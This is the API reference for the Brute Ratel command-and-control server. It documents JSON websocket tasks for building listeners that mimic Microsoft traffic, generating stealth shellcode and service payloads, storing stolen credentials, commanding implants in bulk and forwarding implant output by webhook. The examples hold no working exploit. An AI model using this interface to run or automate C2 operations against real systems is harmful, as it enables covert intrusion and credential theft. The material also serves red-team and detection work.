# api-ratel-war-room


---

Brute Ratel Documentation
Last Updated: Monday 16 January 2023
Ratel Server
Ratel server responses have some parameters which are common across all responses. These are:
access, status and task. The access key specifies whether the current user’s access token is valid.
The status key specifies the execution success status of the request. If the request was not executed
either due to incorrect value or any other environmental reasons, the return value will be false, else
true. The task key specifies the response is from which requested task. This can be helpful when
querying multiple requests for parsing the appropriate response. Some requests will have the
response under task id 24. This just means the response is a broadcast message which will be
delivered to all connected users.
Login (HTTP) – No Task ID
Description HTTP Post request is required to get a token. This token should be used in a
Websocket request for handler interaction. Task ID is not required.
Parameters user Username
pass Password
Request {
"creds": {
"pass": "admin",
"user": "admin"
}
}
Response {
"access": true,
"is_admin": true,
"status": true,
"token": "5T7D3F8UCVOIAN2UE6AVCNLV8BHSFCT1"
}
Task 0: Authorization (Websocket)
Description Validates authorization of cookie over a websocket session. Returns detailed
server information.
Parameters task: 0
user: Username
token: Token received from login
Request {
"creds": {
"token": "5T7D3F8UCVOIAN2UE6AVCNLV8BHSFCT1",
"user": "admin"
},
"task": 0
}
Response Large blob of server metadata containing server version, user details,
commands available. The output is non-essential for automation purpose.

Task 1: Logout (Websocket)
Description Logs out existing user and disables user cookie
Parameters task 1
Request {
"task": 1
}
Response {
"access": false,
"status": true,
"task": 1,
}
Task 2: Create User (Websocket)
Description Creates a new non-admin user
Parameters task 2
user Username of new user
pass Password of new user
Request {
"create": {
"pass": "ratel",
"user": "ratel"
},
"task": 2
}
Response {
"access": true,
"status": true,
"task": 24,
"users": {
"active": {
"admin": "02-06-2022 17:36:18"
},
"inactive": {
}
}
}

Task 3: Delete User (Websocket)
Description Deletes an existing user with all of user’s cookies and .permissions
Parameters task 3
delete Username to delete
Request {
"delete": "ratel",
"task": 3
}
Response {
"access": true,
"status": true,
"task": 24,
"users": {
"active": {
"admin": "07-05-2020 08:44:33"
},
"inactive": {
}
}
}
Task 4: Reset User Password (Websocket)
Description Resets a users password
Parameters task 4
user Username to reset
pass New password for user
Request {
"k_user": {
"pass": "newpass",
"user": "ratel"
},
"task": 4
}
Response {
"access": true,
"status": true,
"task": 24,
"users": {
"active": {
"admin": "07-05-2020 08:44:33"
},
"inactive": {
"ratel": "07-05-2020 09:07:33"
}
}
}

Task 5: List User (Websocket)
Description Lists all users
Parameters task 5
Request {
"task": 5
}
Response {
"access": true,
"status": true,
"task": 5,
"users": {
"active": {
"admin": "07-05-2020 09:17:44"
},
"inactive": {}
}
}
Task 6: Create Listener (HTTP/DNS) (Websocket)

Description Creates different types of listener
Parameters task 6
append This field contains the value to append the badger’s pos
request in a malleable profile
prepend This field contains the value to prepend the badger’s
pos request in a malleable profile
auth_count This field indicates the number of passwords to be set
auth_type This field can be true or false. It indicates if auth is One
Time Auth or Regular
c2_authkeys This field can contain on or more set of listener keys.
Badger authenticates to this key. If is_random field is
true, this field is set automatically. If auth_count is more
than one and is_random is set, this field is set
automatically
c2_uri List of URIs that badger will connect back to
die_offline This field can be true or false. If the value is true, it
means the badger should die if it is unable to connect to
the C2, else vice versa.
extra_headers This field contains a key value pair of header names and
their values.
host Network interface IP which will be binded for listening
is_random If this field is true, c2_authkeys is set automatically
listener_name Name of the listener
os_type Type of payload: Current limited to windows
port Port to listen on
rotational_host This field can contain a list of IP/Domain/Redirector
domain/Fronted domain seperated by commas
useragent The useragent for the payload
ssl True or false
Request Random key for {
Regular auth "listener": {
"listener_name": "json-c2",
"append": "\"}",
"append_response": "\"}",
"auth_count": 1,
"auth_type": false,
"c2_authkeys": [
"abcd@123"
],
"c2_uri": [
"en/ec2/pricing/",
"?locale=en"
],
"die_offline": false,
"empty_response": "{\"Info\":\"Ok\"}",
"request_headers": {
"content-type": "application/json",
"referrer": "microsoft.com",

"Host": "microsoft.com"
},
"response_headers": {
"Server": "Apache/2.2.14 (Win32)",
"X-Backend-Server":
"developer2.webapp.scl3.mozilla.com",
"X-Cache-Info": "not cacheable; meta data too
large"
},
"host": "172.16.219.1",
"is_random": true,
"os_type": "windows",
"port": "443",
"prepend": "{\"channel\":\"",
"prepend_response": "{\"Output\":\"",
"rotational_host": "172.16.219.1",
"ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.93 Safari/537.36",
"sleep": 2,
"jitter": 0,
"obfsleep": "Pooling-0"
},
"task": 6
}
Custom key for {
One Time Auth "listener": {
"append": "\"}",
"auth_count": 0,
"auth_type": true,
"c2_authkeys": [
"abcd@123"
],
"c2_uri": [
"test",
"login",
"bootstrap"
],
"die_offline": true,
"extra_headers": {
"content-type": "application/json",
"referrer": "microsoft.com"
},
"host": "10.0.0.218",
"is_random": false,
"listener_name": "auto-869804a3",
"os_type": "windows",
"port": "443",
"prepend": "{\"sample_json\":\"",
"rotational_host":
"do.skype.com,msvcrl.microsoft.com",
"ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.93 Safari/537.36"
},
"task": 6
}

Multiple random {
keys for One Time "listener": {
Auth "append": "\"}",
"auth_count": 6,
"auth_type": true,
"c2_authkeys": [],
"c2_uri": [
"test",
"login",
"bootstrap"
],
"die_offline": true,
"extra_headers": {
"content-type": "application/json",
"referrer": "microsoft.com"
},
"host": "10.0.0.218",
"is_random": true,
"listener_name": "auto-869804a3",
"os_type": "windows",
"port": "443",
"prepend": "{\"sample_json\":\"",
"rotational_host":
"do.skype.com,msvcrl.microsoft.com",
"ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.93 Safari/537.36"
},
"task": 6
}
Response {
"access": true,
"listeners": {
"auto-869804a3": {
"append": "\"}",
"auth_count": 1,
"auth_type": false,
"c2_authkeys": [
"JKVM34MH5KB0LMQE"
],
"c2_uri": [
"test",
"login",
"bootstrap"
],
"die_offline": true,
"extra_headers": {
"content-type": "application/json",
"referrer": "microsoft.com"
},
"host": "10.0.0.218",
"is_random": true,
"os_type": "windows",
"port": "443",
"prepend": "{\"sample_json\":\"",
"rotational_host":
"do.skype.com,msvcrl.microsoft.com",
"ssl": true,

"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93
Safari/537.36"
}
},
"status": true,
"task": 24
}
Task 7: Stop Listener (Websocket)
Description Stop a running listener with the listener name
Parameters task 7
listener Name of the listener to stop
Request {
"listener": "auto-869804a3",
"task": 7
}
Response {
"access": true,
"status": true,
"task": 7
}

Task 8: List Listener (Websocket)
Description Lists running listeners
Parameters task 8
Request {
"task": 8
}
Response {
"access": true,
"listeners": {
"auto-869804a3": {
"append": "\"}",
"auth_count": 1,
"auth_type": false,
"c2_authkeys": [
"JKVM34MH5KB0LMQE"
],
"c2_uri": [
"test",
"login",
"bootstrap"
],
"die_offline": true,
"extra_headers": {
"content-type": "application/json",
"referrer": "microsoft.com"
},
"host": "10.0.0.218",
"is_random": true,
"os_type": "windows",
"port": "443",
"prepend": "{\"sample_json\":\"",
"rotational_host":
"do.skype.com,msvcrl.microsoft.com",
"ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93
Safari/537.36"
}
},
"status": true,
"task": 8
}

Task 9: Host File On Listener (Websocket)
Description Host a new file on the server
Parameters task 9
buffer Base64 encoded content of file to host
listener_name Listener to modify
mime_type Custom mime-type for hosted file
uri URI to add (name of the file/uri which will be
accessed)
Request Host a file to server {
"listener_uri": {
"buffer": "SGVsbG8gd29ybGQK",
"listener_name": "auto-869804a3",
"mime_type": "text/plain",
"uri": "test.txt"
},
"task": 9
}
Response {
"access": true,
"listeners": {
"auto-869804a3": {
"append": "\"}",
"auth_count": 1,
"auth_type": false,
"c2_authkeys": [
"abcd@123"
],
"c2_uri": [
"en/ec2/pricing/",
"?locale=en"
],
"die_offline": false,
"extra_headers": {
"content-type": "application/json"
},
"host": "172.16.219.1",
"is_random": true,
"os_type": "windows",
"port": "443",
"prepend": "{\"channel\":\"",
"rotational_host": "172.16.219.1",
"ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93
Safari/537.36"
}
},
"status": true,
"task": 24
}

Task 10: Stop Hosted File On Listener (Websocket)
Description Host a file on a new URI
Parameters task 10
c2_uri Listener name and URI path to remove seperated by a
slash
Request {
"hosted": "auto-869804a3/test.txt"
"task": 10
}
Response {
"access": true,
"hosted": {
},
"status": true,
"task": 10
}
Task 11: List Hosted Files On Listener (Websocket)
Description Show hosted files
Parameters task 11
Request {
"task": 11
}
Response {
"access": true,
"hosted": {
"auto-869804a3/test.txt": "text/plain"
},
"status": true,
"task": 11
}

Task 13: PsExec Configuration (Websocket)
Description Show or manage PsExec configuration
Parameters task 13
type This field can contain ‘psexec_config’ or ‘update’
depending on what task is being performed
svc_desc Name of the description for the service when building the
service for the ‘psexec’ command
svc_name Name of the service to build when using the ‘psexec’
command
Request View psexec {
configuration "task": 13,
"type": "psexec_config"
}
Configure {
psexec "svc_desc": "test description for psexec badger service",
"svc_name": "Badger Service",
"task": 13,
"type": "update"
}
Response View Response {
"access": true,
"psexec_config": {
"svc_desc": "Manages universal application
core process that in Windows 8 and continues in Windows
10. It is used to determine whether universal apps installed
from the Windows Store are declaring all of their
permissions, like being able to access your telemetry,
location or microphone. It helps to transact records of your
universal apps with the trust and privacy settings of user.",
"svc_name": "TransactionBrokerService"
},
"status": true,
"task": 13,
"type": "psexec_config"
}
Modify PsExec {
"access": true,
"status": true,
"task": 13,
"type": "update"
}

Task 14: Manage Compromised Credentials (Websocket)
Description Add or remove credentials
Parameters task 14
crednote Credentials notes
credpass Password
credsrc Source of credentials
creduser Username
Request Add Credentials {
"add_creds": {
"crednote": "some notes",
"credpass": "P@ssw0rd",
"credsrc": "some text file",
"creduser": "brute"
},
"task": 14
}
Remove Credentials {
"del_creds": {
"crednote": "from host xyz",
"credpass": "pass123",
"credsrc": "mimikatz",
"creduser": "ninja"
},
"task": 14
}
Response Add Credentials {
"access": true,
"credentials": [
{
"crednote": "some notes",
"credpass": "P@ssw0rd",
"credsrc": "some text file",
"creduser": "brute"
}
],
"status": true,
"task": 24
}
Remove Credentials {
"access": true,
"credentials": [
],
"status": true,
"task": 24
}

Task 15: List Compromised Credentials (Websocket)
Description List all compromised credentials
Parameters task 15
Request {
"task": 15
}
Response {
"access": true,
"credentials": [
{
"crednote": "some notes",
"credpass": "P@ssw0rd",
"credsrc": "some text file",
"creduser": "brute"
}
],
"status": true,
"task": 15
}
Task 16: List All Badgers (Websocket)
Description List all connected badgers
Parameters task 16
Request {
"task": 16
}
Response {
"access": true,
"badgers": {
"b-0": {
"b_arch": "x64",
"b_bld": "18363",
"b_c2": "https://172.16.219.1:443",
"b_c2_id": "auto-869804a3",
"b_cookie":
"VUHMA3QT10CBCK815D6KQ0VMGBRBE3R0",
"b_h_name": "DESKTOP-G15FRLS",
"b_l_ip": "172.16.219.1",
"b_p_name": "Z:\\documents\\badger_x64.exe",
"b_pid": "9144",
"b_seen": "02-06-2022 19:31:28",
"b_uid": "vendetta",
"b_wver": "x64/10.0",
"dead": false,
"is_pvt": false,
"pipeline": "Direct",
"pvt_master": ""
}
},
"status": true,
"task": 16
}

Task 17: Send Badger Command (Websocket)
Description Send a command to badger
Parameters task 17
badger Badger id
cmd Command to send (All arguments are seperated by a space.
Local PE files (C#/powershell) are sent as base64 encoded
buffers
Request {
"bgr_cmd": {
"badger": "b-0",
"cmd": "pwd"
},
"task": 17
}
Response {
"access": true,
"status": true,
"task": 17
}
Task 18: Send Bulk Badger Query (Websocket)
Description Send command to all badgers connected to a specific listener
Parameters task 18
cmd Command which will be sent to all the badgers in a listener
listener Name of the listener to query in bulk
Request {
"blkconfig": {
"cmd": "pwd",
"listener": "json-c2"
},
"task": 18
}
Response {
"access": true,
"badger_count": "4",
"status": true,
"task": 18
}

Task 19: List Command Queue (Websocket)
Description List queued commands for badgers
Parameters task 19
Request {
"task": 19
}
Response {
"b-0": [
"pwd",
"pwd"
],
"b-1": [
"pwd"
],
"b-2": [
"pwd"
],
"b-3": [
"pwd"
]
}
Task 20: Clear Badger Queue (Websocket)
Description Clear all queued commands for a badger
Parameters task 20
badger Badger id
Request {
"bgr_rst": {
"badger": "b-0"
},
"task": 20
}
Response {
"access": true,
"status": true,
"task": 20
}

Task 21: Change Listener Password (Websocket)
Description Change Listener Password
Parameters task 21
listener Listener whose password is to be changed
pass New password. This can be a list of comma seperated values,
if multiple one time passwords need to be added.
Request {
"set": {
"listener": "primary-c2",
"pass": [
"abcd@123"
]
},
"task": 21
}
Response {
"access": true,
"status": true,
"task": 21
}
Task 22: List Server Configuration (Websocket)
Description List configuration for the whole server. This can be used to create a new C2
profile while starting the ratel server
Parameters task 22
Request {
"task": 22
}
Response A large blob of full server metadata

Task 30: Create/Modify Payload Profile (Websocket)
Description The default task is to create a payload profile. If a profile already exists under
the same name, then it is overwritten with the updated profile
Parameters task 30
payload_config Contains a key value pair of new payload profiles to add,
key being the name of the profile, and value containing
another json object
append This field contains the value to append the badger’s pos
request in a malleable profile
c2_auth This field contain the authentication key required to
connect to the listener
c2_uri List of URIs that badger will connect back to
die_offline This field can be true or false. If the value is true, it
means the badger should die if it is unable to connect to
the C2, else vice versa.
extra_headers This field contains a key value pair of header names and
their values.
host This field can contain a list of IP/Domain/Redirector
domain/Fronted domain seperated by commas. For a
TCP payload, this can be a single IP or multiple IP
addresses.
port Port to listen on
prepend This field contains the value to prepend the badger’s pos
request in a malleable profile
ssl True or false
type Type can be HTTP, SMB or TCP depending on the type
of profile being added
useragent The useragent for the payload
smb_pipe Name of the SMB pipe (only for SMB payloads)
show Should be false unless GUI is being used
Request Add/Modify HTTP {
profile "payload_config": {
"test-profile": {
"append": "\"}",
"append_response": "\"}",
"auth_count": 1,
"auth_type": false,
"c2_authkeys": [
"abcd@123"
],
"c2_uri": [
"en/ec2/pricing/",
"?locale=en"
],
"die_offline": false,
"empty_response": "{\"Info\":\"Ok\"}",
"request_headers": {
"content-type": "application/json",
"referrer": "microsoft.com",
"Host": "microsoft.com"
},

"response_headers": {
"Server": "Apache/2.2.14 (Win32)",
"X-Backend-Server":
"developer2.webapp.scl3.mozilla.com",
"X-Cache-Info": "not cacheable; meta data too
large"
},
"host": "172.16.219.1",
"is_random": true,
"os_type": "windows",
"port": "443",
"prepend": "{\"channel\":\"",
"prepend_response": "{\"Output\":\"",
"rotational_host": "172.16.219.1",
"ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.93 Safari/537.36",
"sleep": 2,
"jitter": 0,
"obfsleep": "Pooling-0"
}
},
"show": true,
"task": 30
}
Add/Modify SMB {
Profile "payload_config": {
"main_smb2": {
"c2_auth": "abcd@123",
"smb_pipe": "\\\\.\\pipe\\mynamedpipe",
"type": "SMB",
"obfsleep": "Pooling-0"
}
},
"show": true,
"task": 30
}
Add/Modify TCP {
Profile "payload_config": {
"main_tcp2": {
"c2_auth": "abcd@123",
"host": "127.0.0.1",
"port": "10000",
"type": "TCP",
"obfsleep": "Pooling-0"
}
},
"show": true,
"task": 30
}
Response Json response containing the profile which was successfully added

Task 31: View Payload Configuration (Websocket)
Description View all payload profiles
Parameters task 31
edit This field should be false if a profile is being view. If an
existing profile is being added, this will be true and the
same information sent in Task 30 can be sent over here.
Request {
"edit": false,
"task": 31
}
Response {
"access": true,
"edit": false,
"payload_config": {
"auto-869804a3": {
"append": "\"}",
"c2_auth": "abcd@123",
"c2_uri": [
"en/ec2/pricing/",
"?locale=en"
],
"die_offline": false,
"extra_headers": {
"content-type": "application/json"
},
"host": "172.16.219.1",
"port": "443",
"prepend": "{\"channel\":\"",
"ssl": true,
"type": "HTTP",
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93
Safari/537.36"
},
"main_smb": {
"c2_auth": "abcd@123",
"smb_pipe": "\\\\.\\pipe\\mynamedpipe",
"type": "SMB"
},
"main_tcp": {
"c2_auth": "abcd@123",
"host": "127.0.0.1",
"port": "10000",
"type": "TCP"
}
},
"status": true,
"task": 31
}

Task 32: Delete Payload Profile (Websocket)
Description Deletes an existing payload profile
Parameters task 32
payload_config Name of the payload profile
Request {
"payload_config": "test-profile",
"task": 32
}
Response Remaining json profiles or an empty json profile if no more profiles exist
Task 36: Generate Payload (Websocket)
Description Build a tcp/smb/http/dns payload
Parameters task 36
payload_arch This field contains 0 or 1. 0 means arch type x86,
whereas 1 means x64
payload_config_name The name of the config on the server from which the
payload needs to be generated
payload_type The payload types be the following:
0: ret shellcode
1: rtl shellcode
2: wait shellcode
4: dll
5: service exe
7: stealth ret
8. stealth rtl
9. stealth wait
10. stealth service exe
The response will be base64 encoded
save_path The local path where the payload needs to be saved
svc_desc The service description (optional and only valid for
service payload_type)
svc_name The service name (optional and only valid for service
payload_type)
Request {
"payload_arch": 1,
"payload_config_name": "auto-json-c2",
"payload_type": 0,
"save_path": "/home/paranoidninja/Documents/badger_x64_ret.bin",
"svc_desc": "NA",
"svc_name": "NA",
"task": 36
}
Response {
"access": true,
"payload_dat": "TVqQAAMAAAAEAAAA",
"ptype": 2,
"save_path": "/home/paranoidninja/Documents/badger_x64_ret.bin",
"status": true,
"task": 36
}

Task 40: Enable Staging on HTTP Listener (Websocket)
Description Enable HTTP Staging
Parameters task 40
build false
listener_name Json-c2 (name of the listener)
Request {
"task": 40,
"build": false,
"listener_name": "json-c2"
}
Response Returns staging listener name and payload configuration of the stage
enabled
Task 41: Disable Staging on HTTP Listener (Websocket)
Description Disable HTTP Staging
Parameters task 41
remove true
listener_name Json-c2 (name of the listener)
Request {
"task": 41,
"listener_name": "json-c2",
"remove": true
}
Response {
"access": true,
"listener_name": "json-c2",
"remove": true,
"status": true,
"task": 41
}

Task 45: Manage WebHooks (Websocket)
Description Start or stop a configured webhook. Webhooks can be used to forward
badger output (either just the initial access or fully detailed outputs to remote
servers, where automation can be performed by parsing found strings in the
output)
Parameters task 45
webhook Contains a key value pair of the settings for webhook to be
configured
badger_init If this is true, the initial connection of badger and badger’s
metadata will be forwarded to the user’s server
badger_log If this is true, all of badger’s output will be forwarded to the
user’s server
listener The name of the listener on which the webhook needs to
be enabled
start This field specified whether the webhook needs to be
started or stopped
webhook_host The host on which the logs/metadata of the badger needs
to be forwarded
Request Enable webhook {
"task": 45,
"webhook": {
"badger_init": true,
"badger_log": true,
"listener": "json-c2",
"start": true,
"webhook_host": "https://evasionlabs.com"
}
}
Disable webhook {
"task": 45,
"webhook": {
"listener": "json-c2",
"stop": true
}
}
Response Enable webhook {
"access": true,
"listener": "json-c2",
"status": true,
"task": 45
}
Disable webhook {
"access": true,
"status": true,
"task": 45
}

Task 46: Switch Badger Profile (Websocket)
Description Change badger’s malleable profile. Make note the badger needs to exist for
this to work
Parameters task 46
profile Payload profile name
bgrlist An array of badgers whose profile
needs to be changed
Request {
"task": 46,
"profile": "auto-json-c2",
"bgrlist": [
"b-0", "b-1"
]
}
Response {
"access":true,
"status":true,
"task":46
}
Task 58: Add Note To Badger (Websocket)
Description Add note against a badger
Parameters task 58
badger The badger ID (b-0)
note The note to be added
Request {
"task": 58,
"badger": "b-0",
"note": "sample note for badger zero"
}
Response {
"access":true,
"status":true,
"task":58
}
